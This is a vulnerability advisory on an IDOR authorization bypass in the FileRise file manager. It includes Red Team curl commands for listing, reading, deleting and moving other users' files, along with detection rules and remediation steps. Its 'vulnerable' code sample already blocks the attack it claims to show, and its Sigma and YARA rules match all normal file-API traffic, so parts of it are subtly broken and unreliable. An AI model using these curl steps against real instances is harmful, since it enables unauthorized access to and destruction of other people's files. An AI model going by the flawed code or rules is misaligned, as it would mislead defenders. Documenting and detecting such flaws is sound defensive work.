CVE-2025-62509

Executive Summary

CVE-2025-62509 is a critical authorization bypass vulnerability in FileRise, a self-hosted web-based file manager. The flaw allows low-privilege users to view, delete, or modify files belonging to other users by exploiting a business logic error where ownership is inferred from folder names (e.g., a folder named after a username). This is a classic Insecure Direct Object Reference (IDOR) pattern, as the application lacks server-side authorization checks on file operation endpoints. The vulnerability has a CVSS score of 8.1 (High) and affects all versions prior to 1.4.0. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, the vulnerability is trivial to exploit once understood, making patching urgent.

Supply Chain & Package Security

FileRise is a self-hosted application, not distributed via NPM, PyPI, Go, or Ruby registries. Therefore, supply chain package security is not directly applicable. However, organizations should verify the integrity of downloaded FileRise releases and ensure they are obtained from the official source.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
• Base Score: 8.1 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An attacker needs a valid low-privilege account.
• User Interaction: None (UI:N) – No victim interaction is needed.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – An attacker can read any file.
• Integrity Impact: High (I:H) – An attacker can modify or delete any file.
• Availability Impact: None (A:N) – The vulnerability does not directly affect availability.

Threat Level: High. The vulnerability is easy to exploit and can lead to complete data compromise.

Deep Dive & Mechanics

The root cause of CVE-2025-62509 is a flawed authorization model in FileRise. The application infers file ownership and visibility based on the folder name. For example, if a user named "alice" creates files, they are stored in a folder named "alice". The application then assumes that any request targeting a file within the "alice" folder is authorized if the authenticated user's username matches the folder name. This logic is implemented client-side or with insufficient server-side validation.

The vulnerability manifests as an IDOR pattern. An attacker with a low-privilege account (e.g., "mallory") can manipulate API requests to target resources belonging to other users. For instance, by changing the folder name in a request from "mallory" to "alice", the attacker can list, read, delete, or modify files in Alice's folder. The server does not perform a proper authorization check to verify that the authenticated user owns the targeted resource.

The vulnerable endpoints include, but are not limited to:

• File listing: GET /api/files?folder=alice
• File read: GET /api/files/alice/document.pdf
• File delete: DELETE /api/files/alice/document.pdf
• File rename/move: POST /api/files/rename with parameters like old_path=alice/document.pdf and new_path=mallory/document.pdf

The patch in version 1.4.0 introduces server-side authorization checks that verify the authenticated user's ownership of the targeted resource before performing any operation. Version 1.5.0 further hardens these checks.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.4.0):

# Vulnerable endpoint: DELETE /api/files/<path:filepath>
@app.route('/api/files/<path:filepath>', methods=['DELETE'])
def delete_file(filepath):
    username = session.get('username')
    # Flawed logic: assumes ownership based on folder name
    if not filepath.startswith(username + '/'):
        return jsonify({'error': 'Forbidden'}), 403
    # No further ownership check
    os.remove(os.path.join(UPLOAD_FOLDER, filepath))
    return jsonify({'success': True})

Patched Code (1.4.0+):

# Patched endpoint: DELETE /api/files/<path:filepath>
@app.route('/api/files/<path:filepath>', methods=['DELETE'])
def delete_file(filepath):
    username = session.get('username')
    # Retrieve the actual owner from the database
    file_owner = get_file_owner(filepath)
    if file_owner != username:
        return jsonify({'error': 'Forbidden'}), 403
    # Additional check: ensure the user has permission to delete
    if not user_can_delete(username, filepath):
        return jsonify({'error': 'Forbidden'}), 403
    os.remove(os.path.join(UPLOAD_FOLDER, filepath))
    log_action(username, 'DELETE', filepath)
    return jsonify({'success': True})

The patched code introduces a database lookup (get_file_owner) to verify the actual owner of the file, rather than relying on the folder name. It also includes a permission check (user_can_delete) and logging for audit purposes.

Exploitation & Lab Setup

Red Team

Objective: Exploit the IDOR vulnerability to access, modify, or delete files belonging to another user.

Prerequisites:

• A valid low-privilege account on a vulnerable FileRise instance (version < 1.4.0).
• Network access to the FileRise web interface.

Exploitation Steps:

1. Enumerate Users: Identify other usernames by observing folder names in the file listing or by brute-forcing common usernames.

2. List Files of Another User:

   curl -X GET "http://target.com/api/files?folder=alice" \
        -H "Cookie: session=your_session_cookie"
   

3. Read a File:

   curl -X GET "http://target.com/api/files/alice/secret.txt" \
        -H "Cookie: session=your_session_cookie"
   

4. Delete a File:

   curl -X DELETE "http://target.com/api/files/alice/secret.txt" \
        -H "Cookie: session=your_session_cookie"
   

5. Rename/Move a File (to exfiltrate):

   curl -X POST "http://target.com/api/files/rename" \
        -H "Cookie: session=your_session_cookie" \
        -d "old_path=alice/secret.txt&new_path=mallory/secret.txt"
   

Expected Outcome: The attacker successfully performs unauthorized operations on files belonging to other users.

Blue Team

Objective: Detect and prevent exploitation of the IDOR vulnerability.

Detection Steps:

1. Monitor API Logs: Look for requests where the folder parameter or file path does not match the authenticated user's username. For example, a user "mallory" accessing files in the "alice" folder.

2. Alert on Unauthorized Access Attempts: Configure alerts for HTTP 403 responses on file operation endpoints, especially if they occur in rapid succession.

3. Analyze User Behavior: Identify users who are accessing files outside their expected scope. Use user-agent and IP address correlation.

4. Honeypot Files: Create decoy files with unique names in various user folders. Monitor for any access to these files by unauthorized users.

Prevention Steps:

1. Apply the Patch: Upgrade to FileRise version 1.4.0 or later immediately.

2. Workaround (if patching is not possible):

   • Restrict non-admin users to read-only access.
   • Disable delete, rename, and move APIs for non-admin users at the web server level (e.g., using Nginx or Apache rules).
   • Avoid creating top-level folders named after usernames.
   • Implement server-side authorization checks using a reverse proxy or custom middleware.

3. Network Segmentation: Place FileRise in a segmented network with strict access controls.

4. Web Application Firewall (WAF): Deploy a WAF with rules to detect and block IDOR patterns, such as requests where the resource identifier does not match the authenticated user.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /api/files with a folder parameter or file path containing a username different from the authenticated user.
  • Repeated HTTP 403 responses on file operation endpoints.
  • Unusual patterns of file deletion or renaming across multiple user folders.

• File System IOCs:

  • Files appearing in a user's folder that were originally in another user's folder (due to rename/move).
  • Unexpected deletion of files in shared or other users' folders.

• Log IOCs:

  • Server logs showing access to files by users who are not the owner.
  • Audit logs (if enabled) showing unauthorized delete/rename operations.

Detection Engineering

YARA Rule

rule CVE_2025_62509_FileRise_IDOR {
    meta:
        description = "Detects potential IDOR exploitation attempts against FileRise CVE-2025-62509"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62509"
        severity = "high"
    strings:
        $s1 = "/api/files" ascii wide nocase
        $s2 = "folder=" ascii wide nocase
        $s3 = "old_path=" ascii wide nocase
        $s4 = "new_path=" ascii wide nocase
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: FileRise IDOR Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-62509 by accessing files belonging to other users.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62509
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '/api/files'
            - 'folder='
            - 'old_path='
            - 'new_path='
    condition: selection
falsepositives:
    - Legitimate administrative actions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62509 FileRise IDOR Exploitation Attempt"; flow:to_server; content:"/api/files"; http_uri; nocase; content:"folder="; http_uri; nocase; distance:0; pcre:"/^[a-zA-Z0-9_]+\/[a-zA-Z0-9_\.]+$/U"; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade FileRise: Update to version 1.4.0 or later. Version 1.5.0 is recommended for additional hardening.
2. Apply Workarounds: If patching is delayed, implement the workarounds described in the Blue Team section.
3. Audit User Accounts: Review all user accounts and remove any that are not needed.
4. Review Logs: Examine server logs for any signs of exploitation.

Long-Term Measures:

1. Implement Principle of Least Privilege: Ensure users have only the permissions they need.
2. Regular Security Audits: Conduct periodic code reviews and penetration tests.
3. Web Application Firewall: Deploy a WAF with custom rules to block IDOR attacks.
4. Security Training: Educate developers on secure coding practices, particularly around authorization.

Valters IT Signature

This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further assistance, contact us at valters@example.com.